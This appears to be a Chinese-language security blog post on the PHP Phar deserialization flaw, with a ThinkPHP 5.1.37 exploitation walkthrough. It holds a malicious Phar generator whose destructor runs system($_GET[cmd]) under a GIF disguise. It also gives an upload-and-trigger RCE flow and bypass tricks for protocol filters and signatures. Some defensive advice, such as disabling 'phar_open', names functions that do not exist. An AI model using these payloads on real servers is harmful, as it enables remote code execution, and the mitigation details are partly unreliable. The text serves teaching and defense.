PHP 5.3-8.0 Phar反序列化漏洞:从原理到ThinkPHP 5.1.37实战利用

📅 2026/7/8 20:42:39
PHP 5.3-8.0 Phar反序列化漏洞:从原理到ThinkPHP 5.1.37实战利用
PHP Phar反序列化漏洞深度解析从原理到ThinkPHP 5.1.37实战1. 漏洞背景与核心原理PharPHP Archive是PHP中类似JAR的打包格式自PHP 5.3起默认支持。这种机制允许将多个PHP文件组合成单个归档文件无需解压即可执行。但正是这种便利性带来了严重的安全隐患。漏洞核心在于Phar文件会以序列化形式存储用户自定义的meta-data当PHP解析phar://协议时会自动反序列化这些数据。这意味着即使代码中没有直接调用unserialize()只要存在文件操作函数配合phar://协议就可能触发反序列化漏洞。// 典型漏洞触发场景示例 file_get_contents(phar://malicious.phar/internal_file.txt);2. Phar文件结构深度剖析一个完整的Phar文件包含四个关键部分Stub文件标识头格式为xxx?php __HALT_COMPILER();?必须以__HALT_COMPILER()结尾。前面的内容可任意修改这为绕过文件类型检测提供了可能。Manifest存储压缩文件的元信息包括文件权限和属性用户自定义的meta-data序列化形式存储CRC32校验值等File Contents实际压缩的文件内容Signature可选文件签名支持多种哈希算法3. 漏洞利用条件与限制必要条件PHP版本5.3-8.0PHP 8.0已修复存在可上传Phar文件到服务器的途径存在可利用的魔术方法如__destruct、__wakeup文件操作函数的参数可控且未过滤特殊字符影响函数列表函数类别典型函数示例文件检查file_exists、is_dir文件内容操作file_get_contents、file_put_contents压缩文件处理zip_open、zip_read图像处理exif_thumbnail、exif_imagetype4. 实战ThinkPHP 5.1.37利用链构建4.1 环境准备与Phar生成首先确保php.ini配置phar.readonly Off生成恶意Phar文件的典型代码?php class Exploit { public function __destruct() { system($_GET[cmd]); } } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装为GIF $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, payload); $phar-stopBuffering();4.2 ThinkPHP特定利用链ThinkPHP 5.1.37中存在经典POP链think\process\pipes\Windows - think\model\Pivot - think\Model关键利用点Windows类的__destruct触发文件删除操作Pivot类继承Model可控制$data和$append属性Request类的filter属性可导致命令执行4.3 完整攻击流程上传伪装文件将生成的exploit.phar重命名为avatar.jpg上传触发反序列化通过可控参数调用file_get_contents(phar://path/to/avatar.jpg)RCE实现构造请求http://target.com/vuln.php?filephar://upload/avatar.jpgcmdwhoami5. 高级绕过技术5.1 协议前缀绕过当phar://被过滤时可尝试compress.zlib://phar:///path/to/file php://filter/resourcephar:///path/to/file5.2 文件签名绕过通过修改文件签名部分保持原始哈希有效# Python签名修复示例 import hashlib with open(modified.phar, rb) as f: content f.read() signature content[-28:-20] new_sig hashlib.sha1(content[:-28]).digest() new_content content[:-28] new_sig signature5.3 元数据隐藏技巧将恶意数据隐藏在压缩文件注释中$zip new ZipArchive(); $zip-open(exploit.zip, ZipArchive::CREATE); $zip-addFromString(test.txt, innocent); $zip-setArchiveComment(serialize($maliciousObj)); $zip-close();6. 防御方案与最佳实践开发人员防护禁用危险函数disable_functions phar_open, phar_file严格过滤输入$allowed [jpg, png]; $ext pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allowed)) die(Invalid file);使用最新PHP版本≥8.0系统管理员建议配置open_basedir限制文件访问范围定期更新Web应用框架部署WAF规则拦截phar://等危险协议7. 漏洞修复与版本影响PHP版本修复情况PHP版本修复状态备注5.3不受影响不支持Phar扩展5.3-7.4受影响需手动修复≥8.0已修复默认禁用meta-data反序列化对于必须使用旧版本的环境建议// 在代码中主动检查Phar文件 if (preg_match(/^phar:/i, $filepath)) { throw new Exception(Phar protocol not allowed); }8. 实战经验与调试技巧调试技巧使用xdebug跟踪反序列化过程查看PHP错误日志定位问题通过phar://协议直接查看Phar内容print_r(new Phar(exploit.phar));常见踩坑点Windows系统路径需要使用phar://C:/path格式文件权限问题导致Phar无法读取魔术方法触发顺序不符合预期在实际渗透测试中曾遇到一个案例通过CMS的模板上传功能将Phar文件伪装为CSS文件上传最终利用file_exists()检查触发RCE。这种组合利用方式往往能绕过常规防护。